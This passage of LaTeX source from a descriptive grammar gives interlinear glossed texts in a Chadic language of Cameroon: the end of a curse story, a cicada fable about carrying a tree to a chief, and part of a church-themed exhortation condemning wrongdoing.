\textsc{id}put child eye millet one on stone on {\PSP} \oldstylenums{3}\textsc{s}+{\IFV}-multiply again-\textsc{neg}\\
\glt ‘[If] one puts one grain of millet on the grinding stone, it doesn’t multiply anymore.’\\
\z
\ea Səy kádəya gobay.\\
\gll sij ká-d =ija gʷɔbaj\\
only {\twoS}+{\IFV}-prepare ={\PLU} {a lot}\\
\glt ‘You must put on a lot.’\\
\z
\ea Ka nehe tawəy, “Metesle anga war dalay ngəndəye \\
\gll ka nɛhɛ tawij mɛ-tɛɬ-ɛ aŋga war dalaj ŋgɪndijɛ \\
like {\DEM} \oldstylenums{3}\textsc{p}+said {\NOM}{}-curse-{\CL} {\POSS} child girl {\DEM} \\
\glt ‘It is like this they say, “The curse [is] belonging to that young woman’\\
\medskip
amazata aka ala avəya nengehe ana məze ahay na.”\\
\gll ama-z =ata =aka =ala avija nɛŋgɛhɛ ana mɪʒɛ =ahaj na\\
{\DEP}-take =\oldstylenums{3}\textsc{p}.{\IO} =on =to suffering {\DEM} {\DAT} person =Pl {\PSP}\\
\glt ‘that brought this suffering to the people.”’
\z
\ea Ka nehe ma bamba ga andavalay. \\
\gll ka nɛhɛ ma bamba ga à-ndava =alaj\\
like {\DEM} word story {\ADJ} \oldstylenums{3}\textsc{s}+{\PFV}-finish =away \\
\glt ‘It is like this the story ends.’
\z
%
\section[Cicada story]{Cicada story\\\hspace{1.5em} \textnormal{}}\setcounter{equation}{0}\label{sec:1.6}
\hypertarget{RefHeading1210361525720847}{}
This fable was recorded in Maroua, Far North Province of Cameroon in 2001.
%
\subsubsection*{Setting}
\ea Bamba bamba!\\
\gll bamba bamba\\
story story \\
\glt ‘Once upon a time…’ (lit. story, story)
\z
\ea Tawəy: \\
\gll tawij \\
\oldstylenums{3}\textsc{p}+said \\
\glt ‘They say:’
\z
\ea Albaya ahay aba.\\
\gll albaja =ahaj aba\\
youth =Pl {\EXT}\\
\glt ‘There were some young men.’
\z
\ea Tánday t\'ətalay a ləhe.\\
\gll tá{}-ndaj t\'ə{}-tal-aj a lɪhɛ\\
\oldstylenums{3}\textsc{p}+{\IFV}-{\PRG} \oldstylenums{3}\textsc{p}+{\IFV}-walk{}-{\CL} at bush\\
\glt ‘They were walking in the bush.’
\z
\subsubsection*{Episode 1}
\ea Tánday t\'ətalay a ləhe na,\\
\gll tá-ndaj t\'ə-tal-aj a lɪhɛ na\\
\oldstylenums{3}\textsc{p}+{\IFV}-{\PRG} \oldstylenums{3}\textsc{p}-walk{}-{\CL} at bush {\PSP}\\
\glt ‘[As] they were walking in the bush,’\\
\medskip
təlo tənjakay agwazla malan ga a ləhe. \\
\gll t\`ə-lɔ t\`ə-nzak-aj agʷaɮa malaŋ ga a lɪhɛ\\
\oldstylenums{3}\textsc{p}+{\PFV}-go \oldstylenums{3}\textsc{p}+{\PFV}-find{}-{\CL} {spp. of tree} large {\ADJ} at bush\\
\glt `they went and found a large tree (a particular species) in the bush.’
\z
\subsubsection*{Episode 2}
\ea Albaya ahay ndana kəlen təngalala ma ana bahay. \\
\gll albaja =ahaj ndana kɪlɛŋ t\`ə-ŋgala =ala ma ana bahaj\\
youth =Pl {\DEM} then \oldstylenums{3}\textsc{p}+{\PFV}-return =to word {\DAT} chief\\
\glt ‘Those young men then took the word (response) to the chief.’
\z
\ea Tawəy, “Bahay, mama agwazla ava a ləhe na, \\
\gll tawij bahaj mama agʷaɮa ava a lɪhɛ na malaŋ ga na\\
\oldstylenums{3}\textsc{p}+said chief mother {spp. of tree} {\EXT} at bush {\PSP} large {\ADJ} {\PSP}\\
\glt ‘They said, “Chief, there is a mother-tree in the bush, a big one,’\\
\medskip
agasaka na ka mahay ango aka aməmbese.”\\
\gll à-gas =aka na ka mahaj =aŋgʷɔ aka amɪ-mbɛʃ-ɛ\\
\oldstylenums{3}\textsc{s}+{\PFV}-get =on {\PSP} on door ={\twoS}.{\POSS} on {\DEP}-rest-{\CL}\\
\glt ‘[and] it would please you to have that tree at your door, so that you could rest under it.”’
\z
\ea Kəlen albaya ahay ndana tolo. \\
\gll kɪlɛŋ albaja =ahaj ndana t\`ə-lɔ\\
then youth =Pl {\DEM} \oldstylenums{3}\textsc{p}+{\PFV}-go\\
\glt ‘Then, those young men went.’
\z
\ea Nde, bahay awəy, “Nde na, səy slərom alay war.\\
\gll ndɛ bahaj awij ndɛ na sij ɬər-ɔm =alaj war\\
so chief said so {\PSP} only {send[{\IMP}]-{\twoP}} =away child\\
\glt ‘And so the chief said, “So, you must send a child.’\\
\medskip
Káazəɗom anaw ala agwazla ndana ka mahay əwla aka.\\
\gll káá{}-zʊɗ{}-ɔm an=aw =ala agʷaɮa ndana ka mahaj =uwla aka\\
{\twoP}+{\POT}-take-{\twoP} {\DAT}={\oneS}.{\IO} =to {spp. of tree} {\DEM} on door ={\oneS}.{\POSS} on\\
\glt ‘You will bring that tree to my door for me.’\\
\medskip
Káafəɗom anaw ka mahay əwla aka.”\\
\gll káá{}-fʊɗ{}-ɔm an =aw ka mahaj =uwla aka\\
{\twoP}+{\POT}-put-{\twoP} {\DAT} ={\oneS}.{\IO} on door ={\oneS}.{\POSS} on\\
\glt ‘You will put it by my door.”’
\z
\ea Bahay kəlen ede gəzom. \\
\gll bahaj kɪlɛŋ à-d-ɛ gʊzɔm\\
chief then \oldstylenums{3}\textsc{s}+{\PFV}-prepare{}-{\CL} wine\\
\glt ‘The king then made wine.’
\z
\ea Aslar məze ahay. \\
\gll à-ɬar mɪʒɛ =ahaj\\
\oldstylenums{3}\textsc{s}+{\PFV}-send person =Pl\\
\glt ‘He sent out the people.’
\z
\ea Təlo tamənjar na ala mama agwazla nəndəye.\\
\gll t\`ə-lɔ tà-mənzar na =ala mama agʷaɮa nɪndijɛ\\
\oldstylenums{3}\textsc{p}+{\PFV}-go \oldstylenums{3}\textsc{p}+{\HOR}-see \oldstylenums{3}\textsc{s}.{\DO} =to mother {spp. of tree} {\DEM}\\
\glt ‘They went to see the mother-tree there.’
\z
\ea Məze ahay tangala ma ana bahay.\\
\gll mɪʒɛ =ahaj tà-ŋg =ala ma ana bahaj\\
person =Pl \oldstylenums{3}\textsc{p}+{\PFV}-return =to word {\DAT} chief\\
\glt ‘The people brought back word to the chief.’
\z
\ea Tawəy, “Ɗeɗen bahay, agwazla ngəndəye \\
\gll tawij ɗɛɗɛŋ bahaj agʷaɮa ŋgɪndijɛ \\
\oldstylenums{3}\textsc{p}+said truth chief {spp. of tree} {\DEM} \\
\medskip
ágasaka ka mahay ango aka, \\
\gll á-gas =aka ka mahaj =aŋgʷɔ aka\\
\oldstylenums{3}\textsc{s}+{\IFV}-get =on at door ={\twoS}.{\POSS} on\\
\glt ‘They said, “It is true, chief. It would be pleasing if that particular tree would be by your door,’\\
\medskip
bəyna agwazla ga səlom ga; aɓəsay ava bay.”\\
\gll bijna agʷaɮa ga sʊlɔm ga aɓəsaj ava baj\\
because {spp. of tree} {\ADJ} good {\ADJ} blemish {\EXT} {\NEG}\\
\glt ‘because this tree is good; it has no faults.”’
\z
\subsubsection*{Episode 3}
\ea Bahay alala a həlan na, ndahan gədok mədəye gəzom.\\
\gll bahaj à-l=ala a həlaŋ na ndahaŋ gʊdɔkʷ m\`ɪ-d-ijɛ\\
chief \oldstylenums{3}\textsc{s}+{\PFV}-go=to at back {\PSP} \oldstylenums{3}\textsc{s} {\textsc{id}prepare wine} {\NOM}-prepare-{\CL}\\
\medskip
\gll gʊzɔm\\
wine \\
\glt ‘The chief then came behind [and] he made wine.’
\z
\ea Kəlen albaya ahay tolo amazala agwazla na,\\
\gll kɪlɛŋ albaja =ahaj t\`ɔ-lɔ ama-z =ala agʷaɮa na\\
then youth =Pl \oldstylenums{3}\textsc{p}+{\PFV}-go {\DEP}-take =to {spp. of tree} {\PSP}\\
\glt ‘And then, the young men left to bring back the tree,’\\
\medskip
taazala təta bay.\\
\gll tàà-z =ala təta baj\\
\oldstylenums{3}\textsc{p}+{\HOR}-take =to ability {\NEG}\\
\glt ‘[but] they were not able to bring [it].’
\z
\ea Mədəye gəzom makar. \\
\gll mɪ-d-ijɛ gʊzɔm makar. \\
{\NOM}{}-prepare{}-{\CL} wine three\\
\glt ‘[He] made wine for the third time.’
\z
\ea Bahay alala a həlan na, awəy,\\
\gll bahaj à-l =ala a həlaŋ na awij\\
chief \oldstylenums{3}\textsc{s}+{\PFV}-go =to at back {\PSP} said \\
\glt ‘[And then], the chief came behind, saying,’\\
\medskip
“Náanjakay na wa amazaw ala agwazla ana ne na way?\\
\gll náá-nzak-aj na wa ama-z =aw =ala agʷaɮa ana nɛ na waj\\
{\oneS}+\textsc{{\POT}}{}-find{}-{\CL} {\PSP} who {\DEP}-take ={\oneS}.{\IO} =to {spp. of tree} {\DAT} {\oneS} {\PSP} who\\
\glt ‘“Who can I find to bring to me this tree for me?’\\
\medskip
Kə mahay aka na náambasaka na,\\
\gll kə mahaj aka na náá-mbas =aka na\\
on door on {\PSP} {\oneS}+{\POT}-rest =on {\PSP}\\
\glt ‘By my door I will be able to rest well.’\\
\medskip
Mama agwazla səlom ga lala.”\\
\gll mama agʷaɮa sʊlɔm ga lala\\
mother {spp. of tree} good {\ADJ} well\\
\glt ‘The mother-tree is very good.”’
\z
\subsubsection*{Prepeak}
\ea Kəlen bahay na, olo kə mətəɗe aka. \\
\gll kɪlɛŋ bahaj na \`ɔ-lɔ kə mɪtɪɗɛ aka \\
then chief {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-go on cicada on\\
\glt ‘Then, the chief went to the cicada.’
\z
\ea Mətəɗe awəy, “Bahay, toko! \\
\gll mɪtɪɗɛ awij bahaj tɔkʷɔ\\
cicada said chief {go[{\IMP}.\oldstylenums{1}\textsc{Pin}}] \\
\glt ‘The cicada said, “Chief, let’s go!’ \\
\medskip
Náamənjar na alay memele ga ndana əwɗe.”\\
\gll náá{}-mənzar na =alaj mɛmɛlɛ ga ndana uwɗɛ\\
{\oneS}+{\POT}-see \oldstylenums{3}\textsc{s}.{\DO} =away tree {\ADJ} {\DEM} first\\
\glt ‘First I want to see the tree that you spoke of.”’
\z
\ea Məze ahay tawəy, “A a məze ahay səlom ahay ga na, \\
\gll mɪʒɛ =ahaj tawij aa mɪʒɛ =ahaj sʊlɔm =ahaj ga na\\
person =Pl \oldstylenums{3}\textsc{p}+said ah person =Pl good =Pl {\ADJ} {\PSP}\\
\glt ‘The people said, “O, even good people,’\\
\medskip
tázala təta bay na, \\
\gll tá-z =ala təta baj na \\
\oldstylenums{3}\textsc{p}+{\IFV}-take =to ability {\NEG} {\PSP}\\
\glt ‘they can’t bring it,’ \\
\medskip
azləna mətəɗe azla, engeren azla, káazala təta na, \\
\gll aɮəna mɪtɪɗɛ aɮa ɛŋgɛrɛŋ aɮa káá-z =ala təta na\\
but cicada now insect now {\twoS}+{\POT}-take =to ability {\PSP}\\
\glt ‘but you, cicada, an insect, you think you can bring it,\\
\medskip
káazala na, malma ango may?”\\
\gll káá-z =ala na malma =aŋgʷɔ maj\\
{\twoS}+{\POT}-take =to {\PSP} what ={\twoS}.{\POSS} what\\
\glt ‘[if] you do bring it, [then] what is with you?”’
\z
\ea Mətəɗe awəy, “Náazala!”\\
\gll mɪtɪɗɛ awij náá-z=ala\\
cicada said {\oneS}+{\POT}-take =to\\
\glt ‘The cicada said, “I will bring [it].”’
\z
\ea “Káazala təta bay!”\\
\gll káá-z =ala təta baj\\
{\twoS}+{\POT}-take =to ability {\NEG}\\
\glt ‘“You can’t bring [it].”’
\z
\ea “Náazala! Nde toko əwɗe!”\\
\gll náá-z =ala ndɛ tɔkʷɔ uwɗɛ\\
{\oneS}+{\POT}-take =to so go[{\IMP}.\oldstylenums{1}\textsc{Pin}] first\\
\glt ‘“I will bring [it], but first, let’s go!”’
\z
\subsubsection*{Peak}
\ea Nata olo.\\
\gll nata \`ɔ-lɔ\\
{and then} \oldstylenums{3}\textsc{s}+{\PFV}-go \\
\glt ‘And then, he went.’\\
\z
\ea Albaya ahay tolo sen na, \\
\gll albaja =ahaj tɔ-lɔ ʃɛŋ na\\
youth =Pl \oldstylenums{3}\textsc{p}-go \textsc{id}go {\PSP} \\
\glt ‘The young men went,’\\
\medskip
albaya ahay weley təh anan dəray na, abay.\\
\gll albaja =ahaj wɛlɛj təx an=aŋ dəraj na abaj\\
youth =Pl which \textsc{id}put {\DAT}=\oldstylenums{3}\textsc{s}.{\IO} head {\PSP} {{\EXT}+{\NEG}}\\
\glt ‘[and] no one could lift it.’ (lit. whichever young man put his head [to the tree in order to lift it], there was none)
\z
\ea Nata mətəɗe təh anan dəray ana agwazla ngəndəye.\\
\gll nata mɪtɪɗɛ təx an=aŋ dəraj ana agʷaɮa ŋgɪndijɛ\\
{and then} cicada \textsc{id}put {\DAT}=\oldstylenums{3}\textsc{s}.{\IO} head {\DAT} {spp. of tree} {\DEM}\\
\glt ‘And then, the cicada put his head to that tree.’
\z
\ea Kəwna! \\
\gll kuwna\\
\textsc{id}getting \\
\glt ‘[He] got [it].’
\z
\ea Dergwecek!\\
\gll dɛrgʷɛtʃɛk\\
{\textsc{id}lifting onto head}\\
\glt ‘[He] lifted [it] onto his head.’
\z
\subsubsection*{Dénouement}
\ea Amagala ləmes, {“Te te te te ver na tepəɗek təvəw na tambəɗek…”}\\
\gll ama-g=ala lɪmɛʃ {Tɛ tɛ tɛ tɛ vɛr na tɛpɪɗɛk təvuw na tambɪɗɛk…}\\
{{\DEP}-do=to} song {[words of the song]}\\
\glt ‘He was singing (song is given), [on his way] to [the chief’s house].’\\
\z
\ea Sen ala. \\
\gll ʃɛŋ =ala\\
\textsc{id}go =to\\
\glt ‘Going, [he came to the chief’s house].’ \\
\z
\ea Tahan na.\\
\gll tà-h =aŋ na\\
\oldstylenums{3}\textsc{p}+{\PFV}-greet =\oldstylenums{3}\textsc{s}.{\IO} {\PSP}\\
\glt ‘They greeted him.’
\z
\ea Mama agwazla na, ka mahay aka afa bahay gəɗəgəzl! \\
\gll mama agʷaɮa na ka mahaj aka afa bahaj gəɗəgəɮ \\
mother {spp. of tree} {\PSP} on door on {at place of} chief {\textsc{id}put down}\\
\glt ‘The mother-tree, at the door of the chief’s house, [he] put [it] down.’
\z
\ea Bahay na membese, “Səwse, mətəɗe səwse, səwse, səwse!”\\
\gll bahaj na mɛ-mbɛʃ-ɛ ʃuwʃɛ mɪtɪɗɛ ʃuwʃɛ ʃuwʃɛ ʃuwʃɛ\\
chief {\PSP} {\NOM}-smile{}-{\CL} thanks cicada thanks thanks thanks\\
\glt ‘The chief smiled, [saying] “Thank you, thank you, thank you cicada!”’
\z
\ea Mama agwazla na, kə mahay anga bahay aka.\\
\gll mama agʷaɮa na kə mahaj aŋga bahaj aka\\
mother {spp. of tree} {\PSP} on door {\POSS} chief on\\
\glt ‘The mother tree [is] by the chief's door.’
\z
\ea Andavalay.\\
\gll a-ndava =alaj\\
\oldstylenums{3}\textsc{s}-finish =away\\
\glt ‘It is finished.’
\z
\clearpage
\section[Values exhortation]{Values exhortation \\\hspace{1.5em} \textnormal{}}\setcounter{equation}{0}\label{sec:1.7}
\hypertarget{RefHeading1210381525720847}{}
This exhortation was given in Lalaway, Far North Province of Cameroon in 2002.
\subsubsection*{Setting}
\ea Səlom ga yawa təde kəyga!\\
\gll sʊlɔm ga jawa tɪdɛ kijga\\
goodness {\ADJ} well good {like this}\\
\glt ‘Good, well, good, [it is] like this:’
\z
\ea Ehe na, wəyen ambaɗala a jere azla.\\
\gll ɛhɛ na wijɛŋ à-mbaɗ =ala a dʒɛrɛ aɮa\\
here {\PSP} earth \oldstylenums{3}\textsc{s}+{\PFV}-change =to at truth now\\
\glt ‘Here, the earth has changed to truth now (sarcastic).’
\z
\ea Səwat na, təta a məsəyon na ava nəndəye na,\\
\gll suwat na təta a mʊsijɔŋ na ava nɪndijɛ na\\
\textsc{id}disperse {\PSP} \oldstylenums{3}\textsc{p} at mission {\PSP} in {\DEM} {\PSP} \\
\glt ‘As the people go home from church,’ (lit. disperse, they in the mission there),’ \\
\medskip
Pester áhata, “Ey! Ele nehe na, kógom bay!” \\
\gll pɛʃtɛr á-h =ata ɛj ɛlɛ nɛhɛ na k\'ɔ-gʷ-ɔm baj\\
pastor \oldstylenums{3}\textsc{s}+{\IFV}-tell =\oldstylenums{3}\textsc{p}.{\IO} hey thing {\DEM} {\PSP} {\IFV}-do-{\twoP} {\NEG}\\
\glt ‘Pastor told them, “Hey! These things, don’t do them!”’
\z
\ea Yawa, war dalay ga ándaway mama ahan.\\
\gll jawa war dalaj ga á-ndaw-aj mama =ahaŋ\\
well child female {\ADJ} \oldstylenums{3}\textsc{s}+{\IFV}-insult{}-{\CL} mother =\oldstylenums{3}\textsc{s}.{\POSS}\\
\glt ‘Well, the girls insult their mothers.’
\z
\ea War zar ga ándaway baba ahan.\\
\gll war zar ga á-ndaw-aj baba =ahaŋ\\
child male {\ADJ} \oldstylenums{3}\textsc{s}+{\IFV}-insult{}-{\CL} father =\oldstylenums{3}\textsc{s}.{\POSS}\\
\glt ‘[And] the boys insult their fathers.’
\z
\clearpage
\ea Yo ele ahay aməgəye bay nəngehe pat,\\
\gll jɔ ɛlɛ =ahaj amə-g-ijɛ baj nɪŋgɛhɛ pat\\
well thing =Pl {\DEP}-go-{\CL} {\NEG} {\DEM} all\\
\glt ‘Well, all these particular things that we are not supposed to do,’\\
\medskip
tahata na va kə dəftere aka.\\
\gll tà-h =ata na =va kə dɪftɛrɛ aka\\
\oldstylenums{3}\textsc{p}+{\PFV}-tell =\oldstylenums{3}\textsc{p}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} ={\PRF} on book on\\
\glt ‘they have already told them in the book.’
\z
\ea Hərmbəlom awacala kə okor aka.\\
\gll Hʊrmbʊlɔm à-wats =ala kə ɔkʷɔr aka\\
God \oldstylenums{3}\textsc{s}+{\PFV}-write =to on stone on\\
\glt ‘God wrote them on the stone [tablet].’
\z
\ea Álala, asara agas.\\
\gll á-l =ala asara à-gas\\
\oldstylenums{3}\textsc{s}+{\IFV}-go =to {white man} \oldstylenums{3}\textsc{s}+{\PFV}-catch\\
\glt ‘Later, the white man accepted [it] (lit. caught).’
\z
\ea Ege dəftere ahan kə dəwnəya aka.\\
\gll \`ɛ{}-g-ɛ dɪftɛrɛ =ahaŋ kə duwnija aka\\
\oldstylenums{3}\textsc{s}+{\PFV}-do-{\CL} book =\oldstylenums{3}\textsc{s}.{\POSS} on earth on\\
\glt ‘He made his book on the earth.’
\z
\ea Ahata na va, “Ele nehe na, awasl,\\
\gll à-h =ata na =va ɛlɛ nɛhɛ na à-waɬ\\
\oldstylenums{3}\textsc{s}+{\PFV}-tell =\oldstylenums{3}\textsc{p}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} ={\PRF} thing {\DEM} {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-forbid \\
\glt ‘He has told them already, “This thing is forbidden,’\\
\medskip
ele nehe na, awasl, ele nehe na, awasl,\\
\gll ɛlɛ nɛhɛ na à-waɬ ɛlɛ nɛhɛ na à-waɬ \\
thing {\DEM} {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-forbid thing {\DEM} {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-forbid \\
\glt ‘this thing is forbidden, this thing is forbidden,’\\
\medskip
ele nehe na, awasl, kəro!”\\
\gll ɛlɛ nɛhɛ na à-waɬ kʊrɔ\\
thing {\DEM} {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-forbid ten\\
\glt ‘this thing is forbidden – ten [commandments]”’\\
\z
\ea Ahata na cece.\\
\gll à-h =ata na tʃɛtʃɛ.\\
\oldstylenums{3}\textsc{s}+{\PFV}-tell =\oldstylenums{3}\textsc{p}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} all\\
\glt ‘He told all of them.’
\z
\ea Yawa nde ele nehe ɗəw, kóogəsok ma Hərmbəlɔm. \\
\gll jawa ndɛ ɛlɛ nɛhɛ ɗuw k\'ɔ\'ɔ-gʷʊs-ɔkʷ ma Hʊrmbʊlɔm\\
well so thing {\DEM} also {\twoS}+{\POT}-catch-{\twoP} word God\\
\glt ‘So, this thing here, you should accept the word of God.’
\z
\ea A məsəyon ava na, ele ahay aməwəsle na, tége bay.\\
\gll a mʊsijɔŋ ava na ɛlɛ =ahaj amu-wuɬ-ɛ na t\'ɛ-g-ɛ baj\\
at mission in {\PSP} thing =Pl {\DEP}-forbid-{\CL} {\PSP} \oldstylenums{3}\textsc{p}+{\IFV}-do-{\CL} {\NEG}\\
\glt ‘In the church, these things that are forbidden, they don’t do.’
\z
\ea Yo, asara ahata na va. \\
\gll jɔ asara à-h =ata na =va \\
well {white man} \oldstylenums{3}\textsc{s}+{\PFV}-tell =\oldstylenums{3}\textsc{p}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} ={\PRF}\\
\glt ‘Well, the white man told it to them already.’
\z
\ea Pester ahata na va. \\
\gll pɛʃtɛr à-h =ata na =va\\
pastor \oldstylenums{3}\textsc{s}+{\PFV}-tell =\oldstylenums{3}\textsc{p}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} ={\PRF}\\
\glt ‘The pastor told it to them already.’
\z
\ea T\'əlala a həlan ga ava ese, \\
\gll t\'ə-l =ala a həlaŋ ga ava ɛʃɛ \\
\oldstylenums{3}\textsc{p}+{\IFV}-go =to at back {\ADJ} in again \\
\glt ‘They come [home] after [church] again,’\\
\medskip
t\'əwəɗakala har a məsyon ava.\\
\gll t\'ə-wəɗak =ala har a mɪsijɔŋ ava\\
\oldstylenums{3}\textsc{p}+{\IFV}-divide =to body at mission in\\
\glt ‘they disperse after church.’ (lit. they divide body in mission)
\z
\ea Álaway war ahan.\\
\gll á-law-aj war =ahaŋ\\
\oldstylenums{3}\textsc{s}+{\IFV}-mate{}-{\CL} child =\oldstylenums{3}\textsc{s}.{\POSS}\\
\glt ‘[One] sexually abuses his child.’
\z
\ea Ólo áɓan ana baba ahan.\\
\gll \'ɔ-lɔ á-ɓ =aŋ ana baba =ahaŋ\\
\oldstylenums{3}\textsc{s}+{\IFV}-go \oldstylenums{3}\textsc{s}+{\IFV}-hit =\oldstylenums{3}\textsc{s}.{\IO} {\DAT} father =\oldstylenums{3}\textsc{s}.{\POSS}\\
\glt ‘[Another] goes and hits his father.’
\z
\ea Ólo ápaɗay məze nə madan. \\
\gll \'ɔ{}-lɔ á-paɗ-aj mɪʒɛ nə madaŋ\\
\oldstylenums{3}\textsc{s}+{\IFV}-go \oldstylenums{3}\textsc{s}+{\IFV}-crunch{}-{\CL} person with magic \\
\glt ‘[Another] goes and kills someone with sorcery.’ (lit. he goes he eats a person with magic)
\z
\ea Olo aka akar.\\
\gll à-lɔ aka akar\\
\oldstylenums{3}\textsc{s}+{\PFV}-go on theft \\
\glt ‘[Another] goes and steals.’ (lit. he went on theft)
\z
\ea Ege adama.\\
\gll à-g-ɛ adama\\
\oldstylenums{3}\textsc{s}+{\PFV}-do-{\CL} adultery\\
\glt ‘[Another] commits adultery.’
\z
\ea Təta dəl na ma Hərmbəlom nendəye.\\
\gll təta dəl na ma Hʊrmbʊlɔm nɛndijɛ\\
\oldstylenums{3}\textsc{p} \textsc{id}insult \oldstylenums{3}\textsc{s}.{\DO} word God {\DEM}\\
\glt ‘They insult it, this word of God!’
\z
\ea Nde na cəveɗ ahan na, memey?\\
\gll ndɛ na tʃɪvɛɗ =ahaŋ na mɛmɛj\\
so {\PSP} path =\oldstylenums{3}\textsc{s}.{\POSS} {\PSP} how\\
\glt ‘So, what can he do?’ (lit. how [is] his pathway)
\z
\ea Táagas na anga way?\\
\gll táá-gas na aŋga waj\\
\oldstylenums{3}\textsc{p}+{\POT}-catch {\PSP} {\POSS} who\\
\glt ‘They will accept whose word?’ (lit. they will catch it, [something] that belongs to whom?)
\z
\clearpage
\ea Ma a baba ango kagas asabay.\\
\gll ma a baba =aŋgʷɔ kà-gas asa-baj \\
word {\GEN} father =\oldstylenums{3}\textsc{s}.{\POSS} {\twoS}+{\PFV}-catch again-{\NEG} \\
\glt ‘Your father’s word you no longer accept.’
\z
\ea Ma a mama ango kagas asabay.\\
\gll ma a mama =aŋgʷɔ kà-gas asa-baj\\
word {\GEN} mother =\oldstylenums{3}\textsc{s}.{\POSS} {\twoS}+{\PFV}-catch again-{\NEG}\\
\glt ‘Your mother’s word you no longer accept.’
\z
\ea Nde na káagas anga way?\\
\gll ndɛ na káá-gas aŋga waj\\
so {\PSP} {\twoS}+{\POT}-catch {\POSS} who\\
\glt ‘So, you don’t accept anyone’s word!’ (lit. you will catch [that which] belongs to whom?)
\z
\ea Anga Hərmbəlom ga kagas asabay. \\
\gll aŋga Hʊrmbʊlɔm ga kà-gas asa-baj\\
{\POSS} God {\ADJ} {\twoS}+{\PFV}-catch again-{\NEG}\\
\glt ‘The very [word] of God himself you no longer accept.’
\z
\ea Hərmbəlom na, amaɗaslava ala məze na,\\
\gll Hʊrmbʊlɔm na ama-ɗaɬ =ava =ala mɪʒɛ na\\
God {\PSP} {\DEP}-multiply =in =to person {\PSP} \\
\glt ‘God, who multiplied the people,’\\
\medskip
ndahan ese na, kagas ma Hərmbəlom na, asabay na, \\
\gll ndahaŋ ɛʃɛ na ka-gas ma Hʊrmbʊlɔm na asa-baj na\\
\oldstylenums{3}\textsc{s} again {\PSP} {\twoS}-catch word God {\PSP} again-{\NEG} {\PSP} \\
\glt ‘if you will never accept the word of God,’ (lit. him again, you never catch the word of God)\\
\medskip
káagas na anga way?\\
\gll káá-gas na aŋga waj\\
{\twoS}+{\POT}-catch {\PSP} {\POSS} who\\
\glt ‘whose word will you accept then?’ (lit. you will catch it, that which belongs to who)
\z
\clearpage
\ea Səlom ga. \\
\gll sʊlɔm ga \\
goodness {\ADJ}\\
\glt ‘Good!’ [narrator to himself].
\z
\ea Asara anday áɗakaləme ma a dəwnəya.\\
\gll asara à-ndaj á-ɗak =alɪmɛ ma a duwnija\\
{white man} \oldstylenums{3}\textsc{s}+{\PFV}-{\PROG} \oldstylenums{3}\textsc{s}+{\IFV}-show =\oldstylenums{1}\textsc{Pex}.{\IO} word {\GEN} earth \\
\glt ‘The white man is showing us how the world is (lit. the word of the earth).’
\z
\ea Anday áɗakaləme endeɓ. \\
\gll à-ndaj á-ɗak =alɪmɛ ɛndɛɓ \\
\oldstylenums{3}\textsc{s}+{\PFV}-{\PROG} \oldstylenums{3}\textsc{s}+{\IFV}-show =\oldstylenums{1}\textsc{Pex}.{\IO} brain \\
\glt ‘He is showing us wisdom.’
\z
\ea Tágas bay.\\
\gll tá-gas baj\\
\oldstylenums{3}\textsc{p}+{\IFV}-catch {\NEG}\\
\glt ‘They aren’t the accepting kind.’ (lit. they don’t accept)
\z
\ea Ehe na, təta na, kəw na, bəwɗere!\\
\gll ɛhɛ na təta na kuw na buwɗɛrɛ\\
here {\PSP} \oldstylenums{3}\textsc{p} {\PSP} \textsc{id}take {\PSP} \textsc{id}foolishness\\
\glt ‘Here, what they are taking is foolishness!’ (lit. here, they, taking, foolishness)
\z
\ea Epəle epəle na, wəyen ambaɗala slam a yam avəlo.\\
\gll {ɛpɪlɛ ɛpɪlɛ} na wijɛŋ à-mbaɗ =ala ɬam a jam avʊlɔ\\
{in the future} {\PSP} earth \oldstylenums{3}\textsc{s}+{\PFV}-change =to place {\GEN} water above\\
\glt ‘Someday, the earth will change into heaven (the place of water above).’
\z
\ea Nde na, oko ndana anga way?\\
\gll ndɛ na ɔkʷɔ ndana aŋga waj\\
so {\PSP} fire {\DEM} {\POSS} who\\
\glt ‘So who are the fires [of hell] going to strike?’ (lit. so, that fire, belonging to who)
\z
\clearpage
\ea Cəcəngehe na, asa tágalay janga ana endeɓ ango, \\
\gll tʃɪtʃɪŋgɛhɛ na asa tá-g =alaj dzaŋga ana ɛndɛɓ =aŋgʷɔ\\
now {\PSP} if \oldstylenums{3}\textsc{p}+{\IFV}-do =away reading {\DAT} brain ={\twoS}.{\POSS} \\
\glt ‘Now, if they look at your life,’ (lit. now if they do a reading to your wisdom)\\
\medskip
nafta wəyen aməndeve na, Hərmbəlom ágok sərəya na,\\
\gll nafta wijɛŋ amɪ-ndɛv-ɛ na Hʊrmbʊlɔm á-g =ɔkʷ sərija\\
day earth {\DEP}-finish-{\CL} {\PSP} God \oldstylenums{3}\textsc{s}+{\IFV}-do ={\twoS}.{\IO} judgement\\
\medskip
\gll na\\
{\PSP}\\
\glt ‘on the day that the earth ends, [and] God judges you [and you fail of course],’\\
\medskip
kéege na, memey?\\
\gll k\'ɛ\'ɛ-g-ɛ na mɛmɛj\\
{\twoS}+{\POT}-do-{\CL} {\PSP} how\\
\glt ‘what will you do [as you burn]?’
\z
\ea Nde ehe kəyga.\\
\gll ndɛ ɛhɛ kijga\\
so here {like this}\\
\glt ‘So, it is like this here.’
\z
\ea Pepenna na takaɗ sla.\\
\gll pɛpɛŋ =ŋa na tà-kaɗ ɬa \\
{long ago} ={\ADV} {\PSP} \oldstylenums{3}\textsc{p}+{\PFV}-kill cow \\
\glt ‘Long ago, they killed cows.’
\z
\ea Tége almay?\\
\gll t\'ɛ-g-ɛ almaj\\
\oldstylenums{3}\textsc{p}+{\IFV}{}-do-{\CL} what\\
\glt ‘What were they doing?’
\z
\ea Məze ákosaka jəyga dəres. \\
\gll mɪʒɛ á-kʷas =aka dʒijga dɪrɛʃ\\
person \oldstylenums{3}\textsc{s}+{\IFV}-unite =on all \textsc{id}many\\
\glt ‘The people were all united together.’
\z
\ea Tápaɗay.\\
\gll tá-paɗ-aj \\
\oldstylenums{3}\textsc{p}+{\IFV}-crunch{}-{\CL}\\
\glt ‘They ate [the meat].’
\z
\ea Tágaka hərnje bay.\\
\gll tá-g =aka hɪrnʒɛ baj\\
